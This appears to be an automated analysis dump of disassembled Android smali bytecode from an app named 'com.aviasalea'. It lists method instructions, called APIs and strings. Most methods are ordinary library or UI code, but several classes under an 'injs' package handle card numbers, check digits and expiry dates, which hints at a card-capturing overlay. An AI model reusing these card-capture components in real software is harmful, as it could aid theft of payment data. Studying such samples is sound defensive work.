                                      11new-instance v0, Lcom/aviasalea/api/request/HTTPServer$1;
                                      13iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      15invoke-virtual {v1}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
                                      16move-result-object v1
                                      18invoke-direct {v0, p0, v1}, Lcom/aviasalea/api/request/HTTPServer$1;-><init>(Lcom/aviasalea/api/request/HTTPServer;Landroid/os/Looper;)V
                                      19iput-object v0, p0, Lcom/aviasalea/api/request/HTTPServer;->mCallHandler:Landroid/os/Handler;
                                      20return-void
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • answer=
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Ljava/lang/StringBuilder;
                                      3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      5const-string v1, "answer="
                                      7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      8move-result-object v0
                                      10iget-object v1, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      13move-result-object v0
                                      15invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      16move-result-object v0
                                      17return-object v0
                                      Cross References
                                      APIs
                                      • java.util.Map.get
                                      • java.util.concurrent.CopyOnWriteArrayList.isEmpty
                                      • java.util.concurrent.CopyOnWriteArrayList.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.param p2, "postingState" # Lde/greenrobot/event/EventBus$PostingThreadState;
                                      2.annotation system Ldalvik/annotation/Signature;
                                      3value = {
                                      4"(",
                                      5"Ljava/lang/Object;",
                                      6"Lde/greenrobot/event/EventBus$PostingThreadState;",
                                      7"Ljava/lang/Class",
                                      8"<*>;)Z"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      12const/4 v4, 0x0
                                      13const/4 v6, 0x0
                                      14monitor-enter p0
                                      15try_start_3:
                                      16iget-object v5, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      18invoke-interface {v5, p3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      19move-result-object v3
                                      20check-cast v3, Ljava/util/concurrent/CopyOnWriteArrayList;
                                      21monitor-exit p0
                                      22try_end_c: if-eqz v3, :cond_39
                                      24invoke-virtual {v3}, Ljava/util/concurrent/CopyOnWriteArrayList;->isEmpty()Z
                                      25move-result v5
                                      26if-nez v5, :cond_39
                                      28invoke-virtual {v3}, Ljava/util/concurrent/CopyOnWriteArrayList;->iterator()Ljava/util/Iterator;
                                      29move-result-object v1
                                      30cond_18:
                                      31invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                      32move-result v5
                                      33if-eqz v5, :cond_38
                                      35invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      36move-result-object v2
                                      37check-cast v2, Lde/greenrobot/event/Subscription;
                                      38iput-object p1, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->event:Ljava/lang/Object;
                                      39iput-object v2, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->subscription:Lde/greenrobot/event/Subscription;
                                      40const/4 v0, 0x0
                                      41try_start_29: iget-boolean v5, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->isMainThread:Z
                                      43invoke-direct {p0, v2, p1, v5}, Lde/greenrobot/event/EventBus;->postToSubscription(Lde/greenrobot/event/Subscription;Ljava/lang/Object;Z)V
                                      44iget-boolean v0, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->canceled:Z
                                      45try_end_30: iput-object v6, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->event:Ljava/lang/Object;
                                      46iput-object v6, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->subscription:Lde/greenrobot/event/Subscription;
                                      47iput-boolean v4, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->canceled:Z
                                      48if-eqz v0, :cond_18
                                      49cond_38: const/4 v4, 0x1
                                      50cond_39: return v4
                                      51catchall_3a: move-exception v4
                                      52try_start_3b: monitor-exit p0
                                      53try_end_3c: throw v4
                                      54catchall_3d: move-exception v5
                                      55iput-object v6, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->event:Ljava/lang/Object;
                                      56iput-object v6, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->subscription:Lde/greenrobot/event/Subscription;
                                      57iput-boolean v4, p2, Lde/greenrobot/event/EventBus$PostingThreadState;->canceled:Z
                                      58throw v5
                                      APIs
                                      • de.greenrobot.event.ThreadMode.values
                                      • de.greenrobot.event.ThreadMode.PostThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.ordinal
                                      • de.greenrobot.event.ThreadMode.MainThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.ordinal
                                      • de.greenrobot.event.ThreadMode.BackgroundThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.ordinal
                                      • de.greenrobot.event.ThreadMode.Async:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.ordinal
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Lde/greenrobot/event/ThreadMode;->values()[Lde/greenrobot/event/ThreadMode;
                                      3move-result-object v0
                                      4array-length v0, v0
                                      5new-array v0, v0, [I
                                      6sput-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      7try_start_9:
                                      8sget-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      10sget-object v1, Lde/greenrobot/event/ThreadMode;->PostThread:Lde/greenrobot/event/ThreadMode;
                                      12invoke-virtual {v1}, Lde/greenrobot/event/ThreadMode;->ordinal()I
                                      13move-result v1
                                      14const/4 v2, 0x1
                                      15aput v2, v0, v1
                                      16try_end_14:
                                      17sget-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      19sget-object v1, Lde/greenrobot/event/ThreadMode;->MainThread:Lde/greenrobot/event/ThreadMode;
                                      21invoke-virtual {v1}, Lde/greenrobot/event/ThreadMode;->ordinal()I
                                      22move-result v1
                                      23const/4 v2, 0x2
                                      24aput v2, v0, v1
                                      25try_start_1f:
                                      26sget-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      28sget-object v1, Lde/greenrobot/event/ThreadMode;->BackgroundThread:Lde/greenrobot/event/ThreadMode;
                                      30invoke-virtual {v1}, Lde/greenrobot/event/ThreadMode;->ordinal()I
                                      31move-result v1
                                      32const/4 v2, 0x3
                                      33aput v2, v0, v1
                                      34try_start_2a:
                                      35sget-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      37sget-object v1, Lde/greenrobot/event/ThreadMode;->Async:Lde/greenrobot/event/ThreadMode;
                                      39invoke-virtual {v1}, Lde/greenrobot/event/ThreadMode;->ordinal()I
                                      40move-result v1
                                      41const/4 v2, 0x4
                                      42aput v2, v0, v1
                                      43try_end_35: return-void
                                      44catch_36: move-exception v0
                                      45goto/16 :goto_35
                                      46catch_38: move-exception v0
                                      47goto/16 :goto_2a
                                      48catch_3a: move-exception v0
                                      49goto/16 :goto_1f
                                      50catch_3c: move-exception v0
                                      51goto/16 :goto_14
                                      Cross References
                                      APIs
                                      • android.view.View.<init>
                                      • com.aviasalea.base.dialog.LineProgressView.decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator
                                      • android.view.animation.DecelerateInterpolator.<init>
                                      • android.graphics.Paint.<init>
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint$Cap.ROUND:Landroid/graphics/Paint$Cap
                                      • android.graphics.Paint.setStrokeCap
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setStrokeWidth
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const-wide/16 v2, 0x0
                                      3const/4 v0, 0x0
                                      5invoke-direct {p0, p1}, Landroid/view/View;-><init>(Landroid/content/Context;)V
                                      6iput-wide v2, p0, Lcom/aviasalea/base/dialog/LineProgressView;->lastUpdateTime:J
                                      7iput v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      8iput v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      9iput-wide v2, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      10iput v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      11const/high16 v0, 0x3f800000 # 1.0f
                                      12iput v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      14sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator;
                                      15if-nez v0, :cond_3a
                                      16new-instance v0, Landroid/view/animation/DecelerateInterpolator;
                                      18invoke-direct {v0}, Landroid/view/animation/DecelerateInterpolator;-><init>()V
                                      19sput-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator;
                                      20new-instance v0, Landroid/graphics/Paint;
                                      21const/4 v1, 0x1
                                      23invoke-direct {v0, v1}, Landroid/graphics/Paint;-><init>(I)V
                                      24sput-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      26sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      28sget-object v1, Landroid/graphics/Paint$Cap;->ROUND:Landroid/graphics/Paint$Cap;
                                      30invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStrokeCap(Landroid/graphics/Paint$Cap;)V
                                      32sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      33const/high16 v1, 0x40000000 # 2.0f
                                      35invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      36move-result v1
                                      37int-to-float v1, v1
                                      39invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStrokeWidth(F)V
                                      40cond_3a: return-void
                                      APIs
                                      • com.aviasalea.base.dialog.RadialProgressView.getMeasuredWidth
                                      • com.aviasalea.base.dialog.RadialProgressView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.RadialProgressView.cicleRect:Landroid/graphics/RectF
                                      • android.graphics.RectF.set
                                      • com.aviasalea.base.dialog.RadialProgressView.cicleRect:Landroid/graphics/RectF
                                      • com.aviasalea.base.dialog.RadialProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Canvas.drawArc
                                      • com.aviasalea.base.dialog.RadialProgressView.updateAnimation
                                      Position Instruction Meta Information
                                      0.param p1, "canvas" # Landroid/graphics/Canvas;
                                      1.prologue
                                      3invoke-virtual {p0}, Lcom/aviasalea/base/dialog/RadialProgressView;->getMeasuredWidth()I
                                      4move-result v0
                                      5iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->size:I
                                      6sub-int/2addr v0, v1
                                      7div-int/lit8 v6, v0, 0x2
                                      9invoke-virtual {p0}, Lcom/aviasalea/base/dialog/RadialProgressView;->getMeasuredHeight()I
                                      10move-result v0
                                      11iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->size:I
                                      12sub-int/2addr v0, v1
                                      13div-int/lit8 v7, v0, 0x2
                                      15iget-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->cicleRect:Landroid/graphics/RectF;
                                      16int-to-float v1, v6
                                      17int-to-float v2, v7
                                      18iget v3, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->size:I
                                      19add-int/2addr v3, v6
                                      20int-to-float v3, v3
                                      21iget v4, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->size:I
                                      22add-int/2addr v4, v7
                                      23int-to-float v4, v4
                                      25invoke-virtual {v0, v1, v2, v3, v4}, Landroid/graphics/RectF;->set(FFFF)V
                                      27iget-object v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->cicleRect:Landroid/graphics/RectF;
                                      28iget v2, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      29iget v3, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentCircleLength:F
                                      30const/4 v4, 0x0
                                      32iget-object v5, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      33move-object v0, p1
                                      35invoke-virtual/range {v0 .. v5}, Landroid/graphics/Canvas;->drawArc(Landroid/graphics/RectF;FFZLandroid/graphics/Paint;)V
                                      37invoke-direct {p0}, Lcom/aviasalea/base/dialog/RadialProgressView;->updateAnimation()V
                                      38return-void
                                      APIs
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setHasValidInput
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • java.lang.Object.toString
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/CharSequence;
                                      1.param p2, "start" # I
                                      2.param p3, "before" # I
                                      3.param p4, "count" # I
                                      4.prologue
                                      6iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      7const/4 v3, 0x0
                                      9invoke-virtual {v2, v3}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      11invoke-direct {p0, p1}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->isValid(Ljava/lang/CharSequence;)Z
                                      12move-result v0
                                      14iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-virtual {v2, v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setHasValidInput(Z)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      18iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      20invoke-virtual {v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      21move-result-object v2
                                      23invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      24move-result-object v2
                                      26invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      27move-result-object v1
                                      29invoke-virtual {p0, v0, v1}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->onValidated(ZLjava/lang/String;)V
                                      30return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      • java.lang.Integer.parseInt
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      6invoke-virtual {v1}, Ljava/lang/String;->length()I
                                      7move-result v1
                                      8add-int/lit8 v1, v1, -0x1
                                      10invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                      11move-result-object v0
                                      13invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      14move-result v0
                                      15iput v0, p0, Lcom/aviasalea/injs/g/val/CVal;->checkDigit:I
                                      17iget-object v0, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      18const/4 v1, 0x0
                                      20iget-object v2, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      22invoke-virtual {v2}, Ljava/lang/String;->length()I
                                      23move-result v2
                                      24add-int/lit8 v2, v2, -0x1
                                      26invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      27move-result-object v0
                                      28iput-object v0, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      29return-void
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.access$902
                                      • com.aviasalea.injs.g.view.GView.access$1000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.requestFocus
                                      • com.aviasalea.injs.g.view.GView.access$300
                                      • com.aviasalea.injs.g.view.GView.access$500
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "expDate" # Ljava/lang/String;
                                      2.param p3, "month" # I
                                      3.param p4, "year" # I
                                      4.prologue
                                      6iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$2;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      8invoke-static {v0, p1}, Lcom/aviasalea/injs/g/view/GView;->access$902(Lcom/aviasalea/injs/g/view/GView;Z)Z
                                      9if-eqz p1, :cond_19
                                      11iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$2;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      13invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$1000(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      14move-result-object v0
                                      16invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->requestFocus()Z
                                      18iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$2;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      20invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$300(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/model/GData;
                                      21move-result-object v0
                                      23invoke-virtual {v0, p2}, Lcom/aviasalea/injs/g/model/GData;->setExpDate(Ljava/lang/String;)V
                                      24cond_19:
                                      25iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$2;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      27invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$500(Lcom/aviasalea/injs/g/view/GView;)V
                                      28return-void
                                      Cross References
                                      APIs
                                      • android.content.Context.getResources
                                      • android.content.Context.getTheme
                                      • android.content.res.Resources.getColor
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getColor
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "color" # I
                                      2.prologue
                                      3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                      4const/16 v1, 0x17
                                      5if-lt v0, v1, :cond_13
                                      7invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      8move-result-object v0
                                      10invoke-virtual {p0}, Landroid/content/Context;->getTheme()Landroid/content/res/Resources$Theme;
                                      11move-result-object v1
                                      13invoke-virtual {v0, p1, v1}, Landroid/content/res/Resources;->getColor(ILandroid/content/res/Resources$Theme;)I
                                      14move-result v0
                                      15goto_12: return v0
                                      16cond_13:
                                      17invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      18move-result-object v0
                                      20invoke-virtual {v0, p1}, Landroid/content/res/Resources;->getColor(I)I
                                      21move-result v0
                                      22goto/16 :goto_12
                                      Cross References
                                      APIs
                                      • android.content.Context.getResources
                                      • android.content.Context.getTheme
                                      • android.content.res.Resources.getDrawable
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDrawable
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "resId" # I
                                      2.prologue
                                      3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                      4const/16 v1, 0x15
                                      5if-lt v0, v1, :cond_13
                                      7invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      8move-result-object v0
                                      10invoke-virtual {p0}, Landroid/content/Context;->getTheme()Landroid/content/res/Resources$Theme;
                                      11move-result-object v1
                                      13invoke-virtual {v0, p1, v1}, Landroid/content/res/Resources;->getDrawable(ILandroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;
                                      14move-result-object v0
                                      15goto_12: return-object v0
                                      16cond_13:
                                      17invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      18move-result-object v0
                                      20invoke-virtual {v0, p1}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                                      21move-result-object v0
                                      22goto/16 :goto_12
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.lang.Class.getConstructor
                                      • java.lang.RuntimeException.<init>
                                      Strings
                                      • Failure event class must have a constructor with one parameter of type Throwable
                                      Position Instruction Meta Information
                                      0.param p1, "threadPool" # Ljava/util/concurrent/Executor;
                                      1.param p2, "eventBus" # Lde/greenrobot/event/EventBus;
                                      2.param p4, "scope" # Ljava/lang/Object;
                                      3.annotation system Ldalvik/annotation/Signature;
                                      4value = {
                                      5"(",
                                      6"Ljava/util/concurrent/Executor;",
                                      7"Lde/greenrobot/event/EventBus;",
                                      8"Ljava/lang/Class",
                                      9"<*>;",
                                      10"Ljava/lang/Object;",
                                      11")V"
                                      12}
                                      13.end annotation
                                      14.prologue
                                      16invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      17iput-object p1, p0, Lde/greenrobot/event/util/AsyncExecutor;->threadPool:Ljava/util/concurrent/Executor;
                                      18iput-object p2, p0, Lde/greenrobot/event/util/AsyncExecutor;->eventBus:Lde/greenrobot/event/EventBus;
                                      19iput-object p4, p0, Lde/greenrobot/event/util/AsyncExecutor;->scope:Ljava/lang/Object;
                                      20const/4 v1, 0x1
                                      21try_start_a: new-array v1, v1, [Ljava/lang/Class;
                                      22const/4 v2, 0x0
                                      23const-class v3, Ljava/lang/Throwable;
                                      24aput-object v3, v1, v2
                                      26invoke-virtual {p3, v1}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                      27move-result-object v1
                                      28iput-object v1, p0, Lde/greenrobot/event/util/AsyncExecutor;->failureEventConstructor:Ljava/lang/reflect/Constructor;
                                      29try_end_17: return-void
                                      30catch_18: move-exception v0
                                      31new-instance v1, Ljava/lang/RuntimeException;
                                      33const-string v2, "Failure event class must have a constructor with one parameter of type Throwable"
                                      35invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                      36throw v1
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.setCanceledOnTouchOutside
                                      • com.aviasalea.base.dialog.AlertDialog.show
                                      • java.lang.Exception.toString
                                      Strings
                                      • OK
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.param p1, "title" # Ljava/lang/String;
                                      2.param p2, "message" # Ljava/lang/String;
                                      3.prologue
                                      4try_start_0: new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      6invoke-direct {v0, p0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                                      8invoke-virtual {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      9move-result-object v3
                                      11invoke-virtual {v3, p2}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      12move-result-object v3
                                      14const-string v4, "OK"
                                      15new-instance v5, Lcom/aviasalea/ds/SValDialogs$1;
                                      17invoke-direct {v5}, Lcom/aviasalea/ds/SValDialogs$1;-><init>()V
                                      19invoke-virtual {v3, v4, v5}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      21invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->create()Lcom/aviasalea/base/dialog/AlertDialog;
                                      22move-result-object v1
                                      23const/4 v3, 0x0
                                      25invoke-virtual {v1, v3}, Lcom/aviasalea/base/dialog/AlertDialog;->setCanceledOnTouchOutside(Z)V
                                      27invoke-virtual {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->show()V
                                      28goto_22: return-void
                                      29catch_23: move-exception v2
                                      31invoke-virtual {v2}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      32move-result-object v3
                                      34invoke-static {v3}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      35goto/16 :goto_22
                                      Cross References
                                      APIs
                                      • de.greenrobot.event.HandlerPoster.queue:Lde/greenrobot/event/PendingPostQueue
                                      • de.greenrobot.event.HandlerPoster.obtainMessage
                                      • de.greenrobot.event.HandlerPoster.sendMessage
                                      • de.greenrobot.event.EventBusException.<init>
                                      Strings
                                      • Could not send handler message
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.prologue
                                      4invoke-static {p1, p2}, Lde/greenrobot/event/PendingPost;->obtainPendingPost(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)Lde/greenrobot/event/PendingPost;
                                      5move-result-object v0
                                      6monitor-enter p0
                                      7try_start_5:
                                      8iget-object v1, p0, Lde/greenrobot/event/HandlerPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      10invoke-virtual {v1, v0}, Lde/greenrobot/event/PendingPostQueue;->enqueue(Lde/greenrobot/event/PendingPost;)V
                                      11iget-boolean v1, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      12if-nez v1, :cond_26
                                      13const/4 v1, 0x1
                                      14iput-boolean v1, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      16invoke-virtual {p0}, Lde/greenrobot/event/HandlerPoster;->obtainMessage()Landroid/os/Message;
                                      17move-result-object v1
                                      19invoke-virtual {p0, v1}, Lde/greenrobot/event/HandlerPoster;->sendMessage(Landroid/os/Message;)Z
                                      20move-result v1
                                      21if-nez v1, :cond_26
                                      22new-instance v1, Lde/greenrobot/event/EventBusException;
                                      24const-string v2, "Could not send handler message"
                                      26invoke-direct {v1, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      27throw v1
                                      28catchall_23: move-exception v1
                                      29monitor-exit p0
                                      30try_end_25: throw v1
                                      31cond_26: monitor-exit p0
                                      32try_end_27: return-void
                                      Cross References
                                      APIs
                                      • android.util.Log.v
                                      Strings
                                      • Interrupted
                                      • AndroidNetworkTools
                                      • Native ping failed, using java
                                      Position Instruction Meta Information
                                      0.param p0, "ia" # Ljava/net/InetAddress;
                                      1.param p1, "timeOutMillis" # I
                                      2.prologue
                                      3try_start_0:
                                      4invoke-static {p0, p1}, Lcom/aviasalea/ping/PingTools;->doNativePing(Ljava/net/InetAddress;I)Lcom/aviasalea/ping/PingResult;
                                      5try_end_3: move-result-object v1
                                      6goto_4: return-object v1
                                      7catch_5: move-exception v0
                                      8new-instance v1, Lcom/aviasalea/ping/PingResult;
                                      10invoke-direct {v1, p0}, Lcom/aviasalea/ping/PingResult;-><init>(Ljava/net/InetAddress;)V
                                      11const/4 v2, 0x0
                                      12iput-boolean v2, v1, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      14const-string v2, "Interrupted"
                                      15iput-object v2, v1, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      16goto/16 :goto_4
                                      17catch_13: move-exception v2
                                      19const-string v2, "AndroidNetworkTools"
                                      21const-string v3, "Native ping failed, using java"
                                      23invoke-static {v2, v3}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                                      25invoke-static {p0, p1}, Lcom/aviasalea/ping/PingTools;->doJavaPing(Ljava/net/InetAddress;I)Lcom/aviasalea/ping/PingResult;
                                      26move-result-object v1
                                      27goto/16 :goto_4
                                      APIs
                                      • java.util.Locale.GERMANY:Ljava/util/Locale
                                      • java.lang.Long.valueOf
                                      • java.lang.Long.valueOf
                                      • java.lang.String.format
                                      Strings
                                      • %02d:%02d
                                      Position Instruction Meta Information
                                      0.param p0, "totalSecs" # I
                                      1.prologue
                                      2rem-int/lit16 v4, p0, 0xe10
                                      3div-int/lit8 v4, v4, 0x3c
                                      4int-to-long v0, v4
                                      5rem-int/lit8 v4, p0, 0x3c
                                      6int-to-long v2, v4
                                      8sget-object v4, Ljava/util/Locale;->GERMANY:Ljava/util/Locale;
                                      10const-string v5, "%02d:%02d"
                                      11const/4 v6, 0x2
                                      12new-array v6, v6, [Ljava/lang/Object;
                                      13const/4 v7, 0x0
                                      15invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                                      16move-result-object v8
                                      17aput-object v8, v6, v7
                                      18const/4 v7, 0x1
                                      20invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
